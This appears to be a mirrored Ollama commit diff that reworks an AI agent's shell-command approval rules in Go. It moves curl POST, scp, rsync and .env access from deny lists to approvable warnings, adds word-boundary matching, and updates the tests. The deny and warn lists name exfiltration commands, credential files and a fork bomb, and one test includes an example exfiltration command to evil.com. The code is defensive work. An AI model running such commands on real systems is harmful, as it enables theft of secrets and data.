mirror of
https://github.com/ollama/ollama.git
synced 2026-01-20 05:18:31 -05:00
Compare commits
1 Commits
parth/decr
...
parth/agen
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
233d5c5eda |
@@ -33,7 +33,7 @@ type ApprovalResult struct {
|
|||||||
// Option labels for the selector (numbered for quick selection)
|
// Option labels for the selector (numbered for quick selection)
|
||||||
var optionLabels = []string{
|
var optionLabels = []string{
|
||||||
"1. Execute once",
|
"1. Execute once",
|
||||||
"2. Always allow",
|
"2. Allow for this session",
|
||||||
"3. Deny",
|
"3. Deny",
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -70,9 +70,6 @@ var autoAllowCommands = map[string]bool{
|
|||||||
// autoAllowPrefixes are command prefixes that are always allowed.
|
// autoAllowPrefixes are command prefixes that are always allowed.
|
||||||
// These are read-only or commonly-needed development commands.
|
// These are read-only or commonly-needed development commands.
|
||||||
var autoAllowPrefixes = []string{
|
var autoAllowPrefixes = []string{
|
||||||
// Git read-only
|
|
||||||
"git status", "git log", "git diff", "git branch", "git show",
|
|
||||||
"git remote -v", "git tag", "git stash list",
|
|
||||||
// Package managers - run scripts
|
// Package managers - run scripts
|
||||||
"npm run", "npm test", "npm start",
|
"npm run", "npm test", "npm start",
|
||||||
"bun run", "bun test",
|
"bun run", "bun test",
|
||||||
@@ -91,6 +88,9 @@ var autoAllowPrefixes = []string{
|
|||||||
}
|
}
|
||||||
|
|
||||||
// denyPatterns are dangerous command patterns that are always blocked.
|
// denyPatterns are dangerous command patterns that are always blocked.
|
||||||
|
// NOTE: Some network patterns (curl POST, scp, rsync) moved to warnPatterns
|
||||||
|
// to allow user escalation with explicit approval.
|
||||||
|
// These patterns use word boundary matching to avoid false positives (e.g., "nc " won't match "rsync").
|
||||||
var denyPatterns = []string{
|
var denyPatterns = []string{
|
||||||
// Destructive commands
|
// Destructive commands
|
||||||
"rm -rf", "rm -fr",
|
"rm -rf", "rm -fr",
|
||||||
@@ -101,19 +101,8 @@ var denyPatterns = []string{
|
|||||||
"sudo ", "su ", "doas ",
|
"sudo ", "su ", "doas ",
|
||||||
"chmod 777", "chmod -R 777",
|
"chmod 777", "chmod -R 777",
|
||||||
"chown ", "chgrp ",
|
"chown ", "chgrp ",
|
||||||
// Network exfiltration
|
// Network tools (raw sockets - still blocked)
|
||||||
"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
|
|
||||||
"wget --post",
|
|
||||||
"nc ", "netcat ",
|
"nc ", "netcat ",
|
||||||
"scp ", "rsync ",
|
|
||||||
// History and credentials
|
|
||||||
"history",
|
|
||||||
".bash_history", ".zsh_history",
|
|
||||||
".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
|
|
||||||
".ssh/config",
|
|
||||||
".aws/credentials", ".aws/config",
|
|
||||||
".gnupg/",
|
|
||||||
"/etc/shadow", "/etc/passwd",
|
|
||||||
// Dangerous patterns
|
// Dangerous patterns
|
||||||
":(){ :|:& };:", // fork bomb
|
":(){ :|:& };:", // fork bomb
|
||||||
"chmod +s", // setuid
|
"chmod +s", // setuid
|
||||||
@@ -121,11 +110,20 @@ var denyPatterns = []string{
|
|||||||
}
|
}
|
||||||
|
|
||||||
// denyPathPatterns are file patterns that should never be accessed.
|
// denyPathPatterns are file patterns that should never be accessed.
|
||||||
// These are checked as exact filename matches or path suffixes.
|
// These are checked using simple substring matching.
|
||||||
var denyPathPatterns = []string{
|
var denyPathPatterns = []string{
|
||||||
".env",
|
// History files
|
||||||
".env.local",
|
"history",
|
||||||
".env.production",
|
".bash_history", ".zsh_history",
|
||||||
|
// SSH keys and config
|
||||||
|
".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
|
||||||
|
".ssh/config",
|
||||||
|
// Cloud credentials
|
||||||
|
".aws/credentials", ".aws/config",
|
||||||
|
".gnupg/",
|
||||||
|
// System credentials
|
||||||
|
"/etc/shadow", "/etc/passwd",
|
||||||
|
// Secrets files
|
||||||
"credentials.json",
|
"credentials.json",
|
||||||
"secrets.json",
|
"secrets.json",
|
||||||
"secrets.yaml",
|
"secrets.yaml",
|
||||||
@@ -134,6 +132,25 @@ var denyPathPatterns = []string{
|
|||||||
".key",
|
".key",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// warnPatterns are patterns that require explicit approval with warning.
|
||||||
|
// These are potentially risky but legitimate in some contexts.
|
||||||
|
// Unlike denyPatterns, these show a warning but allow user approval.
|
||||||
|
var warnPatterns = []string{
|
||||||
|
// Network operations (user may need for legitimate API testing)
|
||||||
|
"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
|
||||||
|
"wget --post",
|
||||||
|
// File transfer (user may need for deployments)
|
||||||
|
"scp ", "rsync ",
|
||||||
|
}
|
||||||
|
|
||||||
|
// warnPathPatterns are file patterns that require explicit approval with warning.
|
||||||
|
// Unlike denyPathPatterns, these show a warning but allow user approval.
|
||||||
|
var warnPathPatterns = []string{
|
||||||
|
".env",
|
||||||
|
".env.local",
|
||||||
|
".env.production",
|
||||||
|
}
|
||||||
|
|
||||||
// ApprovalManager manages tool execution approvals.
|
// ApprovalManager manages tool execution approvals.
|
||||||
type ApprovalManager struct {
|
type ApprovalManager struct {
|
||||||
allowlist map[string]bool // exact matches
|
allowlist map[string]bool // exact matches
|
||||||
@@ -176,7 +193,8 @@ func IsDenied(command string) (bool, string) {
|
|||||||
|
|
||||||
// Check deny patterns
|
// Check deny patterns
|
||||||
for _, pattern := range denyPatterns {
|
for _, pattern := range denyPatterns {
|
||||||
if strings.Contains(commandLower, strings.ToLower(pattern)) {
|
patternLower := strings.ToLower(pattern)
|
||||||
|
if containsWord(commandLower, patternLower) {
|
||||||
return true, pattern
|
return true, pattern
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -191,6 +209,57 @@ func IsDenied(command string) (bool, string) {
|
|||||||
return false, ""
|
return false, ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// containsWord checks if a command contains a pattern as a word/command.
|
||||||
|
// This handles patterns like "nc " which should match "nc -l 8080" but not "rsync -avz".
|
||||||
|
// The pattern is considered a match if:
|
||||||
|
// - It appears at the start of the command, OR
|
||||||
|
// - It's preceded by a space, pipe, semicolon, or other delimiter
|
||||||
|
func containsWord(command, pattern string) bool {
|
||||||
|
// Simple contains check first
|
||||||
|
if !strings.Contains(command, pattern) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if pattern is at the start
|
||||||
|
if strings.HasPrefix(command, pattern) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if pattern is preceded by a delimiter (space, pipe, semicolon, &, etc.)
|
||||||
|
delimiters := []string{" ", "|", ";", "&", "(", "`", "$"}
|
||||||
|
for _, delim := range delimiters {
|
||||||
|
if strings.Contains(command, delim+pattern) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsWarn checks if a bash command matches warning patterns.
|
||||||
|
// These are patterns that require explicit user approval with a warning,
|
||||||
|
// but are not completely blocked like deny patterns.
|
||||||
|
// Returns true and the matched pattern if it should warn.
|
||||||
|
func IsWarn(command string) (bool, string) {
|
||||||
|
commandLower := strings.ToLower(command)
|
||||||
|
|
||||||
|
// Check warn patterns
|
||||||
|
for _, pattern := range warnPatterns {
|
||||||
|
if strings.Contains(commandLower, strings.ToLower(pattern)) {
|
||||||
|
return true, pattern
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check warn path patterns
|
||||||
|
for _, pattern := range warnPathPatterns {
|
||||||
|
if strings.Contains(commandLower, strings.ToLower(pattern)) {
|
||||||
|
return true, pattern
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, ""
|
||||||
|
}
|
||||||
|
|
||||||
// FormatDeniedResult returns the tool result message when a command is blocked.
|
// FormatDeniedResult returns the tool result message when a command is blocked.
|
||||||
func FormatDeniedResult(command string, pattern string) string {
|
func FormatDeniedResult(command string, pattern string) string {
|
||||||
return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern)
|
return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern)
|
||||||
@@ -198,6 +267,7 @@ func FormatDeniedResult(command string, pattern string) string {
|
|||||||
|
|
||||||
// extractBashPrefix extracts a prefix pattern from a bash command.
|
// extractBashPrefix extracts a prefix pattern from a bash command.
|
||||||
// For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/"
|
// For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/"
|
||||||
|
// For git commands like "git log x/agent/", returns "git log:x/agent/" (includes subcommand)
|
||||||
// For commands without path args, returns empty string.
|
// For commands without path args, returns empty string.
|
||||||
// Paths with ".." traversal that escape the base directory return empty string for security.
|
// Paths with ".." traversal that escape the base directory return empty string for security.
|
||||||
func extractBashPrefix(command string) string {
|
func extractBashPrefix(command string) string {
|
||||||
@@ -219,12 +289,30 @@ func extractBashPrefix(command string) string {
|
|||||||
"less": true, "more": true, "file": true, "wc": true,
|
"less": true, "more": true, "file": true, "wc": true,
|
||||||
"grep": true, "find": true, "tree": true, "stat": true,
|
"grep": true, "find": true, "tree": true, "stat": true,
|
||||||
"sed": true,
|
"sed": true,
|
||||||
|
"git": true, // git commands with path args (e.g., git log x/agent/)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !safeCommands[baseCmd] {
|
if !safeCommands[baseCmd] {
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// For git commands, extract the subcommand for more granular allowlisting
|
||||||
|
var subCmd string
|
||||||
|
if baseCmd == "git" && len(fields) >= 2 {
|
||||||
|
// Git subcommand is the second field (e.g., "log", "status", "diff")
|
||||||
|
// Skip options like "-v" - the first non-option argument is the subcommand
|
||||||
|
for _, arg := range fields[1:] {
|
||||||
|
if !strings.HasPrefix(arg, "-") {
|
||||||
|
subCmd = arg
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// If no subcommand found (unlikely for git), use empty string
|
||||||
|
if subCmd == "" {
|
||||||
|
subCmd = "unknown"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Find the first path-like argument (must contain / or \ or start with .)
|
// Find the first path-like argument (must contain / or \ or start with .)
|
||||||
// First pass: look for clear paths (containing path separators or starting with .)
|
// First pass: look for clear paths (containing path separators or starting with .)
|
||||||
for _, arg := range fields[1:] {
|
for _, arg := range fields[1:] {
|
||||||
@@ -236,6 +324,10 @@ func extractBashPrefix(command string) string {
|
|||||||
if isNumeric(arg) {
|
if isNumeric(arg) {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
// For git, skip the subcommand itself when looking for paths
|
||||||
|
if baseCmd == "git" && arg == subCmd {
|
||||||
|
continue
|
||||||
|
}
|
||||||
// Only process if it looks like a path (contains / or \ or starts with .)
|
// Only process if it looks like a path (contains / or \ or starts with .)
|
||||||
if !strings.Contains(arg, "/") && !strings.Contains(arg, "\\") && !strings.HasPrefix(arg, ".") {
|
if !strings.Contains(arg, "/") && !strings.Contains(arg, "\\") && !strings.HasPrefix(arg, ".") {
|
||||||
continue
|
continue
|
||||||
@@ -277,6 +369,13 @@ func extractBashPrefix(command string) string {
|
|||||||
dir = path.Dir(cleaned)
|
dir = path.Dir(cleaned)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Build prefix with subcommand for git, or just baseCmd for others
|
||||||
|
if baseCmd == "git" {
|
||||||
|
if dir == "." {
|
||||||
|
return fmt.Sprintf("git %s:./", subCmd)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("git %s:%s/", subCmd, dir)
|
||||||
|
}
|
||||||
if dir == "." {
|
if dir == "." {
|
||||||
return fmt.Sprintf("%s:./", baseCmd)
|
return fmt.Sprintf("%s:./", baseCmd)
|
||||||
}
|
}
|
||||||
@@ -284,6 +383,7 @@ func extractBashPrefix(command string) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Second pass: if no clear path found, use the first non-flag argument as a filename
|
// Second pass: if no clear path found, use the first non-flag argument as a filename
|
||||||
|
// For git, we still allow ./ prefix even without path args (git status, git stash, etc.)
|
||||||
for _, arg := range fields[1:] {
|
for _, arg := range fields[1:] {
|
||||||
if strings.HasPrefix(arg, "-") {
|
if strings.HasPrefix(arg, "-") {
|
||||||
continue
|
continue
|
||||||
@@ -291,6 +391,12 @@ func extractBashPrefix(command string) string {
|
|||||||
if isNumeric(arg) {
|
if isNumeric(arg) {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
// For git, skip the subcommand when checking for path args
|
||||||
|
if baseCmd == "git" && arg == subCmd {
|
||||||
|
// Git commands without path args (git status, git stash, etc.)
|
||||||
|
// Still return a prefix with subcommand and current directory
|
||||||
|
return fmt.Sprintf("git %s:./", subCmd)
|
||||||
|
}
|
||||||
// Treat as filename in current dir
|
// Treat as filename in current dir
|
||||||
return fmt.Sprintf("%s:./", baseCmd)
|
return fmt.Sprintf("%s:./", baseCmd)
|
||||||
}
|
}
|
||||||
@@ -494,16 +600,45 @@ func (a *ApprovalManager) RequestApproval(toolName string, args map[string]any)
|
|||||||
// This prevents buffered input from causing double-press issues
|
// This prevents buffered input from causing double-press issues
|
||||||
flushStdin(fd)
|
flushStdin(fd)
|
||||||
|
|
||||||
// Check if bash command targets paths outside cwd
|
// Check if bash command should show warning
|
||||||
|
// Warning is shown for: commands outside cwd, or commands matching warn patterns
|
||||||
isWarning := false
|
isWarning := false
|
||||||
|
var warningMsg string
|
||||||
|
var allowlistInfo string
|
||||||
if toolName == "bash" {
|
if toolName == "bash" {
|
||||||
if cmd, ok := args["command"].(string); ok {
|
if cmd, ok := args["command"].(string); ok {
|
||||||
isWarning = isCommandOutsideCwd(cmd)
|
// Check for outside cwd warning
|
||||||
|
if isCommandOutsideCwd(cmd) {
|
||||||
|
isWarning = true
|
||||||
|
warningMsg = "command targets paths outside project"
|
||||||
|
}
|
||||||
|
// Check for warn patterns (curl POST, scp, rsync, .env files)
|
||||||
|
if warned, pattern := IsWarn(cmd); warned {
|
||||||
|
isWarning = true
|
||||||
|
warningMsg = fmt.Sprintf("matches warning pattern: %s", pattern)
|
||||||
|
}
|
||||||
|
// Generate allowlist info for display
|
||||||
|
prefix := extractBashPrefix(cmd)
|
||||||
|
if prefix != "" {
|
||||||
|
// Parse prefix format "cmd:path/" into command and directory
|
||||||
|
colonIdx := strings.Index(prefix, ":")
|
||||||
|
if colonIdx != -1 {
|
||||||
|
cmdName := prefix[:colonIdx]
|
||||||
|
dirPath := prefix[colonIdx+1:]
|
||||||
|
// Include "(includes subdirs)" for directories that allow hierarchical matching
|
||||||
|
// ./ is special - it only allows files in current dir, not subdirs
|
||||||
|
if dirPath != "./" {
|
||||||
|
allowlistInfo = fmt.Sprintf("Allow for this session: %s in %s directory (includes subdirs)", cmdName, dirPath)
|
||||||
|
} else {
|
||||||
|
allowlistInfo = fmt.Sprintf("Allow for this session: %s in %s directory", cmdName, dirPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Run interactive selector
|
// Run interactive selector
|
||||||
selected, denyReason, err := runSelector(fd, oldState, toolDisplay, isWarning)
|
selected, denyReason, err := runSelector(fd, oldState, toolDisplay, isWarning, warningMsg, allowlistInfo)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
term.Restore(fd, oldState)
|
term.Restore(fd, oldState)
|
||||||
return ApprovalResult{Decision: ApprovalDeny}, err
|
return ApprovalResult{Decision: ApprovalDeny}, err
|
||||||
@@ -567,24 +702,28 @@ func formatToolDisplay(toolName string, args map[string]any) string {
|
|||||||
|
|
||||||
// selectorState holds the state for the interactive selector
|
// selectorState holds the state for the interactive selector
|
||||||
type selectorState struct {
|
type selectorState struct {
|
||||||
toolDisplay string
|
toolDisplay string
|
||||||
selected int
|
selected int
|
||||||
totalLines int
|
totalLines int
|
||||||
termWidth int
|
termWidth int
|
||||||
termHeight int
|
termHeight int
|
||||||
boxWidth int
|
boxWidth int
|
||||||
innerWidth int
|
innerWidth int
|
||||||
denyReason string // deny reason (always visible in box)
|
denyReason string // deny reason (always visible in box)
|
||||||
isWarning bool // true if command targets paths outside cwd (red box)
|
isWarning bool // true if command has warning
|
||||||
|
warningMessage string // dynamic warning message to display
|
||||||
|
allowlistInfo string // show what will be allowlisted (for "Always allow" option)
|
||||||
}
|
}
|
||||||
|
|
||||||
// runSelector runs the interactive selector and returns the selected index and optional deny reason.
|
// runSelector runs the interactive selector and returns the selected index and optional deny reason.
|
||||||
// If isWarning is true, the box is rendered in red to indicate the command targets paths outside cwd.
|
// If isWarning is true, the box is rendered in red to indicate the command targets paths outside cwd.
|
||||||
func runSelector(fd int, oldState *term.State, toolDisplay string, isWarning bool) (int, string, error) {
|
func runSelector(fd int, oldState *term.State, toolDisplay string, isWarning bool, warningMessage string, allowlistInfo string) (int, string, error) {
|
||||||
state := &selectorState{
|
state := &selectorState{
|
||||||
toolDisplay: toolDisplay,
|
toolDisplay: toolDisplay,
|
||||||
selected: 0,
|
selected: 0,
|
||||||
isWarning: isWarning,
|
isWarning: isWarning,
|
||||||
|
warningMessage: warningMessage,
|
||||||
|
allowlistInfo: allowlistInfo,
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get terminal size
|
// Get terminal size
|
||||||
@@ -771,7 +910,11 @@ func renderSelectorBox(state *selectorState) {
|
|||||||
|
|
||||||
// Draw warning line if needed
|
// Draw warning line if needed
|
||||||
if state.isWarning {
|
if state.isWarning {
|
||||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m command targets paths outside project\033[K\r\n")
|
if state.warningMessage != "" {
|
||||||
|
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m %s\033[K\r\n", state.warningMessage)
|
||||||
|
} else {
|
||||||
|
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m command targets paths outside project\033[K\r\n")
|
||||||
|
}
|
||||||
fmt.Fprintf(os.Stderr, "\033[K\r\n") // blank line after warning
|
fmt.Fprintf(os.Stderr, "\033[K\r\n") // blank line after warning
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -787,17 +930,26 @@ func renderSelectorBox(state *selectorState) {
|
|||||||
for i, label := range optionLabels {
|
for i, label := range optionLabels {
|
||||||
if i == 2 { // Deny option with input
|
if i == 2 { // Deny option with input
|
||||||
denyLabel := "3. Deny: "
|
denyLabel := "3. Deny: "
|
||||||
|
// Show placeholder if empty, actual input if typing
|
||||||
inputDisplay := state.denyReason
|
inputDisplay := state.denyReason
|
||||||
|
if inputDisplay == "" {
|
||||||
|
inputDisplay = "\033[90m(optional reason)\033[0m"
|
||||||
|
}
|
||||||
if i == state.selected {
|
if i == state.selected {
|
||||||
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
// Show allowlist info beside "Allow for this session" (index 1)
|
||||||
|
displayLabel := label
|
||||||
|
if i == 1 && state.allowlistInfo != "" {
|
||||||
|
displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo)
|
||||||
|
}
|
||||||
if i == state.selected {
|
if i == state.selected {
|
||||||
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", label)
|
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", displayLabel)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", label)
|
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", displayLabel)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -830,16 +982,24 @@ func updateSelectorOptions(state *selectorState) {
|
|||||||
if i == 2 { // Deny option
|
if i == 2 { // Deny option
|
||||||
denyLabel := "3. Deny: "
|
denyLabel := "3. Deny: "
|
||||||
inputDisplay := state.denyReason
|
inputDisplay := state.denyReason
|
||||||
|
if inputDisplay == "" {
|
||||||
|
inputDisplay = "\033[90m(optional reason)\033[0m"
|
||||||
|
}
|
||||||
if i == state.selected {
|
if i == state.selected {
|
||||||
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
// Show allowlist info beside "Allow for this session" (index 1)
|
||||||
|
displayLabel := label
|
||||||
|
if i == 1 && state.allowlistInfo != "" {
|
||||||
|
displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo)
|
||||||
|
}
|
||||||
if i == state.selected {
|
if i == state.selected {
|
||||||
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", label)
|
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m\033[K\r\n", displayLabel)
|
||||||
} else {
|
} else {
|
||||||
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", label)
|
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m\033[K\r\n", displayLabel)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -868,6 +1028,9 @@ func updateReasonInput(state *selectorState) {
|
|||||||
// Redraw Deny line with reason
|
// Redraw Deny line with reason
|
||||||
denyLabel := "3. Deny: "
|
denyLabel := "3. Deny: "
|
||||||
inputDisplay := state.denyReason
|
inputDisplay := state.denyReason
|
||||||
|
if inputDisplay == "" {
|
||||||
|
inputDisplay = "\033[90m(optional reason)\033[0m"
|
||||||
|
}
|
||||||
if state.selected == 2 {
|
if state.selected == 2 {
|
||||||
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
fmt.Fprintf(os.Stderr, " \033[1m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
|
||||||
} else {
|
} else {
|
||||||
@@ -901,7 +1064,7 @@ func (a *ApprovalManager) fallbackApproval(toolDisplay string) (ApprovalResult,
|
|||||||
fmt.Fprintln(os.Stderr)
|
fmt.Fprintln(os.Stderr)
|
||||||
fmt.Fprintln(os.Stderr, toolDisplay)
|
fmt.Fprintln(os.Stderr, toolDisplay)
|
||||||
fmt.Fprintln(os.Stderr)
|
fmt.Fprintln(os.Stderr)
|
||||||
fmt.Fprintln(os.Stderr, "[1] Execute once [2] Always allow [3] Deny")
|
fmt.Fprintln(os.Stderr, "[1] Execute once [2] Allow for this session [3] Deny")
|
||||||
fmt.Fprint(os.Stderr, "choice: ")
|
fmt.Fprint(os.Stderr, "choice: ")
|
||||||
|
|
||||||
var input string
|
var input string
|
||||||
|
|||||||
@@ -413,9 +413,7 @@ func TestIsAutoAllowed(t *testing.T) {
|
|||||||
{"echo hello", true},
|
{"echo hello", true},
|
||||||
{"date", true},
|
{"date", true},
|
||||||
{"whoami", true},
|
{"whoami", true},
|
||||||
// Auto-allowed prefixes
|
// Auto-allowed prefixes (build commands)
|
||||||
{"git status", true},
|
|
||||||
{"git log --oneline", true},
|
|
||||||
{"npm run build", true},
|
{"npm run build", true},
|
||||||
{"npm test", true},
|
{"npm test", true},
|
||||||
{"bun run dev", true},
|
{"bun run dev", true},
|
||||||
@@ -423,12 +421,18 @@ func TestIsAutoAllowed(t *testing.T) {
|
|||||||
{"go build ./...", true},
|
{"go build ./...", true},
|
||||||
{"go test -v", true},
|
{"go test -v", true},
|
||||||
{"make all", true},
|
{"make all", true},
|
||||||
|
// Git commands - ALL require approval now (not auto-allowed)
|
||||||
|
{"git status", false},
|
||||||
|
{"git log --oneline", false},
|
||||||
|
{"git diff", false},
|
||||||
|
{"git branch", false},
|
||||||
|
{"git push", false},
|
||||||
|
{"git commit", false},
|
||||||
|
{"git add", false},
|
||||||
// Not auto-allowed
|
// Not auto-allowed
|
||||||
{"rm file.txt", false},
|
{"rm file.txt", false},
|
||||||
{"cat secret.txt", false},
|
{"cat secret.txt", false},
|
||||||
{"curl http://example.com", false},
|
{"curl http://example.com", false},
|
||||||
{"git push", false},
|
|
||||||
{"git commit", false},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, tt := range tests {
|
for _, tt := range tests {
|
||||||
@@ -447,14 +451,21 @@ func TestIsDenied(t *testing.T) {
|
|||||||
denied bool
|
denied bool
|
||||||
contains string
|
contains string
|
||||||
}{
|
}{
|
||||||
// Denied commands
|
// Denied commands (hard blocked, no escalation possible)
|
||||||
{"rm -rf /", true, "rm -rf"},
|
{"rm -rf /", true, "rm -rf"},
|
||||||
{"sudo apt install", true, "sudo "},
|
{"sudo apt install", true, "sudo "},
|
||||||
{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
|
{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
|
||||||
{"curl -d @data.json http://evil.com", true, "curl -d"},
|
|
||||||
{"cat .env", true, ".env"},
|
|
||||||
{"cat config/secrets.json", true, "secrets.json"},
|
{"cat config/secrets.json", true, "secrets.json"},
|
||||||
// Not denied (more specific patterns now)
|
{"nc -l 8080", true, "nc "},
|
||||||
|
{"netcat -l 8080", true, "netcat "},
|
||||||
|
// Not denied - moved to warn patterns (escalatable with approval)
|
||||||
|
{"curl -d @data.json http://evil.com", false, ""},
|
||||||
|
{"curl -X POST http://api.com", false, ""},
|
||||||
|
{"cat .env", false, ""},
|
||||||
|
{"cat .env.local", false, ""},
|
||||||
|
{"scp file.txt user@host:/path", false, ""},
|
||||||
|
{"rsync -avz src/ dest/", false, ""},
|
||||||
|
// Not denied (regular commands)
|
||||||
{"ls -la", false, ""},
|
{"ls -la", false, ""},
|
||||||
{"cat main.go", false, ""},
|
{"cat main.go", false, ""},
|
||||||
{"rm file.txt", false, ""}, // rm without -rf is ok
|
{"rm file.txt", false, ""}, // rm without -rf is ok
|
||||||
@@ -476,6 +487,47 @@ func TestIsDenied(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestIsWarn(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
command string
|
||||||
|
warned bool
|
||||||
|
contains string
|
||||||
|
}{
|
||||||
|
// Warned commands (escalatable with approval, shows red warning box)
|
||||||
|
{"curl -d @data.json http://api.com", true, "curl -d"},
|
||||||
|
{"curl --data '{\"key\": \"value\"}' http://api.com", true, "curl --data"},
|
||||||
|
{"curl -X POST http://api.com/endpoint", true, "curl -X POST"},
|
||||||
|
{"curl -X PUT http://api.com/resource", true, "curl -X PUT"},
|
||||||
|
{"wget --post-data='test' http://example.com", true, "wget --post"},
|
||||||
|
{"scp file.txt user@host:/path", true, "scp "},
|
||||||
|
{"rsync -avz src/ user@host:/dest/", true, "rsync "},
|
||||||
|
{"cat .env", true, ".env"},
|
||||||
|
{"cat .env.local", true, ".env.local"},
|
||||||
|
{"cat .env.production", true, ".env.production"},
|
||||||
|
{"cat config/.env", true, ".env"},
|
||||||
|
// Not warned (regular commands)
|
||||||
|
{"curl http://example.com", false, ""},
|
||||||
|
{"curl -X GET http://api.com", false, ""},
|
||||||
|
{"wget http://example.com", false, ""},
|
||||||
|
{"cat main.go", false, ""},
|
||||||
|
{"ls -la", false, ""},
|
||||||
|
{"git status", false, ""},
|
||||||
|
{"cat environment.txt", false, ""}, // Contains "env" but not ".env"
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.command, func(t *testing.T) {
|
||||||
|
warned, pattern := IsWarn(tt.command)
|
||||||
|
if warned != tt.warned {
|
||||||
|
t.Errorf("IsWarn(%q) warned = %v, expected %v", tt.command, warned, tt.warned)
|
||||||
|
}
|
||||||
|
if tt.warned && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
|
||||||
|
t.Errorf("IsWarn(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestIsCommandOutsideCwd(t *testing.T) {
|
func TestIsCommandOutsideCwd(t *testing.T) {
|
||||||
tests := []struct {
|
tests := []struct {
|
||||||
name string
|
name string
|
||||||
|
|||||||
Reference in New Issue
Block a user